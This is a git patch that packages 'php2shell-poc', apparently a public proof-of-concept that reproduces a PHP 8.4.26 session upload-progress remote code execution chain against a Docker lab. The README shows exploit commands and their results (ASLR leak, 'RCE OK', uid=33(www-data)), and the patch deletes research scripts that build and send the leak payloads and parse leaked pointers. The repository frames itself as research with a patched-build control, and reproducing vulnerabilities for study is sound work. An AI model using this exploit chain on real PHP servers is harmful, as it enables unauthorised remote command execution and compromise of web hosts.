From a1ff9d5c8c3e13840a5872f6a54878b4645e8dff Mon Sep 17 00:00:00 2001 From: ZSecurity Date: Sat, 24 Oct 2026 14:07:07 +0700 Subject: [PATCH] chore: github packaging - license, ci matrix, platform docs, research provenance --- .github/workflows/ci.yml | 31 ++++++++++++ .gitignore | 3 ++ LICENSE | 21 ++++++++ README.md | 37 ++++++++++++-- lab/down.sh | 0 lab/status.sh | 0 lab/up.sh | 0 research/README.md | 42 ++++++++++++++++ research/analyze_leak.py | 28 ----------- research/diag2.py | 105 --------------------------------------- research/diag_leak.py | 73 --------------------------- tests/test_lab.py | 8 +-- 12 files changed, 136 insertions(+), 212 deletions(-) create mode 100644 .github/workflows/ci.yml create mode 100644 LICENSE mode change 100644 => 100755 lab/down.sh mode change 100644 => 100755 lab/status.sh mode change 100644 => 100755 lab/up.sh create mode 100644 research/README.md delete mode 100644 research/analyze_leak.py delete mode 100644 research/diag2.py delete mode 100644 research/diag_leak.py diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..e630096 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,31 @@ +name: ci + +on: + push: + branches: [main] + pull_request: + +jobs: + test: + name: ${{ matrix.os }} / py${{ matrix.python }} + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + python: ["3.9", "3.12"] + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-python@v5 + with: + python-version: ${{ matrix.python }} + + - name: unit tests + run: python -m unittest discover -s tests -t . + + - name: offline selftest + run: python -m poc selftest + + - name: dry-run (no network, no docker) + run: python -m poc exploit --dry-run diff --git a/.gitignore b/.gitignore index d676557..ed76b6f 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,9 @@ out/ __pycache__/ *.pyc +.DS_Store +.idea/ +.vscode/ research/upstream/ research/captures/*.resp research/captures/*.bin diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..9cbe4b7 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 ZSecurity (Linuxhackingid) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md index 60f8b9a..71a691f 100644 --- a/README.md +++ b/README.md @@ -71,14 +71,35 @@ not a citation: | A2 — cheap OOM over nested fields | producer: leaves dangling `PS(hash_serialize_verifier)` | 109618 | | B2 — fake `zend_reference` → fake `zend_array` | consumer: `zend_hash_destroy` calls `pDestructor = zif_system` | 109619 | +## Install + +```bash +git clone https://github.com//php2shell-poc.git +cd php2shell-poc +python -m unittest discover -s tests -t . # 63 pass, 4 skip (need the target binary) +``` + +Nothing to `pip install`. The two tests that need the target's `libphp.so` skip themselves on a +fresh clone — see [research/README.md](research/README.md) to enable them. + ## Requirements -- Docker with a Linux engine, x86_64 -- Python 3.11+ (tested on 3.14.7 on Windows, stdlib only — no third-party packages) +- Docker with a Linux engine, x86_64 (the target image is `linux/amd64`) +- Python 3.9+ — standard library only, no third-party packages - No shell required: the CLI talks to the Docker CLI directly, so it behaves identically from PowerShell, cmd, git-bash, zsh, and bash. The `lab/*.sh` files are conveniences that wrap the same Python entry points. +### Platform support + +| OS | Status | How it was checked | +|---|---|---| +| Windows 11 | works | PowerShell + git-bash, stock `PATH` where `bash` resolves to WSL; full chain `uid=33(www-data)` | +| Linux x86_64 | works | Python 3.9 and 3.13 containers: 67/67 unit tests, plus the full chain executed from a Linux client against the lab over a Docker network (`uid=33(www-data)`) | +| macOS | expected to work, **not executed here** | no macOS host available; the CI matrix (`.github/workflows/ci.yml`) runs the unit tests and offline selftest on `macos-latest`, and the code has no Windows-only branches except the separator normalisation in `poc/lab.py` | + +Verified interpreter versions: 3.9.25, 3.13, 3.14.7. + ## Quickstart Windows (PowerShell) and Linux/macOS are the same commands: @@ -217,12 +238,14 @@ Every row below is a command that was actually run in this environment, with its |---|---|---| | Lab build identity | `python -m poc check` | PHP 8.4.26 NTS, `libphp.so` sha256 `51663cf8…f4ee679c` = profile; Apache 2.4.69; `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `session.upload_progress.enabled=On`; 1 worker | | Symbol offsets | `python -m poc offsets --lib research/libphp.so` | `zval_ptr_dtor=0x65eb60`, `zif_system=0x465370` — matches the profile | -| Offline suite | `python -m unittest discover -s tests -t .` | 66 tests, all pass, 0 skipped | +| Offline suite | `python -m unittest discover -s tests -t .` | 67 tests, all pass, 0 skipped | | Body parity | `tests/test_bodies_parity.py` | A1/A2/B1 SHA-256 identical to the reference generators (`8e8fc166…`, `7af66c8f…`, `b6c547e0…`) | | Stage 1–2 (disclosure) | `python -m poc leak` | A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; `zval_ptr_dtor` ×1095; `libphp − main` in range; main-chunk fingerprint count 87 | | Stage 3–4 (RCE) | `python -m poc exploit` | `[4/4] … RCE OK`, `out/p1` contains `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; exit 0 | | Reproducibility | 3 fresh containers, one run each | 3/3 `uid=33(www-data)` | | Repeat commands | 5 sequential `poc exec` cycles, same worker | 5/5 exit 0, 0 retries, counter in `/out` reached 5 | +| Linux (unit) | `python -m unittest` inside `python:3.9-slim` and `python:3.13-slim` | 67/67 OK on both | +| Linux (chain) | `python -m poc exec --url http://p2s-lab/index.php` from a `python:3.9-slim` container on the lab network | `uid=33(www-data)` | | Windows shell independence | `python -m poc lab up` + `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to `C:\Windows\System32\bash.exe` (WSL) | exit 0, proof written — the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it | | Specificity | `poc lab up --image php:8.4.27-apache` then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** | | Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe | @@ -291,3 +314,11 @@ Primitive discovery and public analysis: Wiz Research ("PHP2Shell"), the PHP sec golden-hash generation. This repository is an independent rebuild of those published primitives with a profile-driven calibration model, a staged verifier, and a patched-build negative control; the wire bodies are reimplemented and proven byte-identical rather than vendored. + +## License + +MIT — see [LICENSE](LICENSE). Copyright (c) 2026 ZSecurity (Linuxhackingid). + +The research this artifact reproduces is not covered by that licence; cite the vendor advisory +and the original researchers listed above. + diff --git a/lab/down.sh b/lab/down.sh old mode 100644 new mode 100755 diff --git a/lab/status.sh b/lab/status.sh old mode 100644 new mode 100755 diff --git a/lab/up.sh b/lab/up.sh old mode 100644 new mode 100755 diff --git a/research/README.md b/research/README.md new file mode 100644 index 0000000..242a512 --- /dev/null +++ b/research/README.md @@ -0,0 +1,42 @@ +# research/ + +Working material, not part of the shipped tool. Everything here is either ignored by git or +explained below. + +## Provenance of `tests/golden/bodies.json` + +The golden hashes are **generated, never typed**. They are produced from the public reference +chain (`9bie/php2shell-bypass-aslr-exp`) so that `poc/bodies.py` can be proven byte-identical to +the code the primitives were published with, without vendoring that code. + +```bash +mkdir -p research/upstream +git clone --depth 1 https://github.com/9bie/php2shell-bypass-aslr-exp.git research/upstream +python research/capture_golden.py +python -m unittest tests.test_bodies_parity -v +``` + +`capture_golden.py` runs the reference generators with the exact parameters recorded in +`poc/profiles.py` (`a1` with `--big 78`, `a2` via `build_body(880, 64, 115, …)`, `b1` with the +17-item leak spec and `--fake-len 0xC8000 --tag`), hashes the three bodies and writes +`tests/golden/bodies.json`. If a golden mismatches, the fix belongs in `poc/bodies.py` — never in +the golden file. + +## Ignored artefacts + +| Path | Why it is not committed | +|---|---| +| `research/upstream/` | third-party clone, reference only; nothing in `poc/` imports it | +| `research/control/` | the control-test copy with one literal widened (see `NOTES.md` §10) | +| `research/libphp.so` | 21 MB binary from the target image; needed only for `tests/test_elf.py` | +| `research/captures/*` | multi-megabyte HTTP responses and generated bodies | + +Consequences: on a fresh clone, `tests/test_elf.py` and the real-capture test in +`tests/test_leak_parse.py` skip themselves. To run them, copy the module out of the target: + +```bash +docker cp p2s-lab:/usr/lib/apache2/modules/libphp.so research/libphp.so +``` + +Everything else — the payload builders, the leak parser, framing, profile logic, CLI parsing — +runs with no Docker, no network and no binary, which is what CI exercises. diff --git a/research/analyze_leak.py b/research/analyze_leak.py deleted file mode 100644 index a8296f9..0000000 --- a/research/analyze_leak.py +++ /dev/null @@ -1,28 +0,0 @@ -import struct -import sys -from collections import Counter - -buf = open(sys.argv[1], "rb").read() -print("len", len(buf)) - -counts = Counter() -for off in range(0, len(buf) - 7, 8): - q = struct.unpack_from(" libphp=%#x" % (name, (top_q - off) & 0xFFFFFFFFFFFFFFFF)) diff --git a/research/diag2.py b/research/diag2.py deleted file mode 100644 index a1ab8d7..0000000 --- a/research/diag2.py +++ /dev/null @@ -1,105 +0,0 @@ -#!/usr/bin/env python -import os -import socket -import struct -import subprocess -import sys -import time -import urllib.parse -from collections import Counter - -HERE = os.path.dirname(os.path.abspath(__file__)) -PURE = os.path.join(HERE, "upstream", "pure") -PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 18110 -NAME = sys.argv[2] if len(sys.argv) > 2 else "p2s-lab" -CAP = os.path.join(HERE, "captures") -os.makedirs(CAP, exist_ok=True) - -LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"]) - - -def sh(cmd): - return subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout.strip() - - -def workers(): - return sh('docker exec %s sh -c "pgrep -f apache2 | tr \'\\n\' \' \'"' % NAME) - - -def warm(): - s = socket.create_connection(("127.0.0.1", PORT), timeout=5) - s.sendall(b"GET /index.php HTTP/1.0\r\nHost: x\r\n\r\n") - s.recv(1024) - s.close() - - -def send(body_file, path, chunked, save=""): - cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"), - "--port", str(PORT), "--body-file", body_file, - "--path", path, "--timeout", "300"] - if save: - cmd += ["--save-response", save] - subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL) - return open(save, "rb").read() if save else b"" - - -def step(label, body, path, chunked): - print("[%s] workers_before=%s" % (label, workers())) - t0 = time.time() - save = os.path.join(CAP, "diag_%s.resp" % label) - if chunked: - resp = send(body, path, True, save) - else: - t0 = time.time() - resp = send(body, path, False, save) - print("[%s] %.2fs resp=%d status=%r workers_after=%s" % ( - label, time.time() - t0, len(resp), - resp.split(b"\r\n", 1)[0][:70], workers())) - return resp - - -os.makedirs(CAP, exist_ok=True) -print("restarting", NAME) -sh("docker restart %s" % NAME) -time.sleep(2.0) -print("ready:", sh('curl -s -m 5 http://127.0.0.1:%d/index.php' % PORT)) -warm() -print("workers warm=%s" % workers()) - -a1 = os.path.join(CAP, "diag_a1.bin") -subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"), "--out", a1, - "--big", "78"], check=True, stdout=subprocess.DEVNULL) -print("a1 bytes=%d" % os.path.getsize(a1)) -step("a1", a1, "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v", True) - -b1 = os.path.join(CAP, "diag_b1.bin") -subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"), "--out", b1, - "--spec", LEAK_SPEC, "--fake-len", "0xC8000", "--tag"], - check=True, stdout=subprocess.DEVNULL) -print("b1 bytes=%d" % os.path.getsize(b1)) -resp = step("b1", b1, "/index.php", True) - -i = resp.find(b"Set-Cookie: PHPSESSID=") -print("set-cookie at=%d" % i) -if i < 0: - print("head:", resp[:400]) - raise SystemExit(1) -val = resp[i + len(b"Set-Cookie: PHPSESSID="):].split(b"\r\n")[0] -dec = urllib.parse.unquote_to_bytes(val.decode("latin1")) -print("raw=%d decoded=%d" % (len(val), len(dec))) -open(os.path.join(CAP, "diag_decoded.bin"), "wb").write(dec) - -hist = Counter() -top = Counter() -for off in range(0, len(dec) - 7, 8): - q = struct.unpack_from("> 40] += 1 - if q: - top[q] += 1 -print("high-byte hist:", [(hex(k << 40), v) for k, v in hist.most_common(6)]) -print("top qwords:") -for q, c in top.most_common(6): - print(" %#018x x%d" % (q, c)) -print("0x7f range:", sum(c for q, c in top.items() if 0x7F0000000000 <= q <= 0x7FFFFFFFFFFF)) -print("ascii head:", dec[:150].decode("latin1").replace("\x00", ".")) -print("byte histogram top:", Counter(dec).most_common(6)) diff --git a/research/diag_leak.py b/research/diag_leak.py deleted file mode 100644 index 036b4a7..0000000 --- a/research/diag_leak.py +++ /dev/null @@ -1,73 +0,0 @@ -#!/usr/bin/env python -import os -import struct -import subprocess -import sys -import urllib.parse -from collections import Counter - -HERE = os.path.dirname(os.path.abspath(__file__)) -UP = os.path.join(HERE, "upstream") -PURE = os.path.join(UP, "pure") -sys.path.insert(0, PURE) - -import chunked_send # noqa: E402 -import mk_leak_b # noqa: E402 - -PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 18110 -LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"]) - - -def send_chunked(body_file, path="/index.php", save=""): - cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"), - "--port", str(PORT), "--body-file", body_file, - "--path", path, "--timeout", "300"] - if save: - cmd += ["--save-response", save] - subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL) - return open(save, "rb").read() if save else b"" - - -tmp = os.path.join(HERE, "captures") -os.makedirs(tmp, exist_ok=True) - -a1 = os.path.join(tmp, "diag_a1.bin") -subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"), - "--out", a1, "--big", "78"], check=True, stdout=subprocess.DEVNULL) -print("a1 bytes=%d" % os.path.getsize(a1)) -send_chunked(a1, "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v") - -b1 = os.path.join(tmp, "diag_b1.bin") -subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"), - "--out", b1, "--spec", LEAK_SPEC, - "--fake-len", "0xC8000", "--tag"], check=True, stdout=subprocess.DEVNULL) -resp = send_chunked(b1, "/index.php", os.path.join(tmp, "diag_leak.resp")) -print("resp bytes=%d" % len(resp)) -print("status=%r" % resp.split(b"\r\n", 1)[0][:80]) - -i = resp.find(b"Set-Cookie: PHPSESSID=") -print("set-cookie at=%d" % i) -if i < 0: - print(resp[:600]) - raise SystemExit(1) -val = resp[i + len(b"Set-Cookie: PHPSESSID="):].split(b"\r\n")[0] -print("raw cookie bytes=%d" % len(val)) -dec = urllib.parse.unquote_to_bytes(val.decode("latin1")) -print("decoded=%d" % len(dec)) -open(os.path.join(tmp, "diag_decoded.bin"), "wb").write(dec) - -hist = Counter() -top = Counter() -for off in range(0, len(dec) - 7, 8): - q = struct.unpack_from("> 40] += 1 - if q: - top[q] += 1 -print("qword high-byte histogram:", [(hex(k << 40), v) for k, v in hist.most_common(8)]) -print("top nonzero qwords:") -for q, c in top.most_common(8): - print(" %#018x x%d" % (q, c)) -print("count 0x7f-range:", sum(c for q, c in top.items() if 0x7F0000000000 <= q <= 0x7FFFFFFFFFFF)) -print("count canon-user :", sum(c for q, c in top.items() if 0x1000000000 <= q <= 0x7FFFFFFFFFFF)) -print("first 64 bytes:", dec[:64]) -print("ascii head:", dec[:120].decode("latin1").replace("\x00", ".")) diff --git a/tests/test_lab.py b/tests/test_lab.py index deb8809..4aadcd1 100644 --- a/tests/test_lab.py +++ b/tests/test_lab.py @@ -20,7 +20,9 @@ class HostPathTest(unittest.TestCase): def test_default_matches_platform(self): p = os.path.join(tempfile.gettempdir(), "out") got = lab.host_path(p) - self.assertEqual("\\" in got, not NT) + self.assertNotIn("\\", got) + if not NT: + self.assertEqual(got, p) class BuildRunArgsTest(unittest.TestCase): @@ -41,10 +43,10 @@ class BuildRunArgsTest(unittest.TestCase): self.assertIn(":/etc/apache2/conf-enabled/zz-p2s.conf:ro", joined) self.assertTrue(joined.endswith(":/out")) - def test_no_backslashes_in_volumes_on_windows(self): + def test_volume_separators_are_docker_safe(self): vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"] for vol in vols: - self.assertEqual("\\" in vol, not NT) + self.assertNotIn("\\", vol) def test_image_precedes_entrypoint(self): idx = self.args.index("php:8.4.26-apache")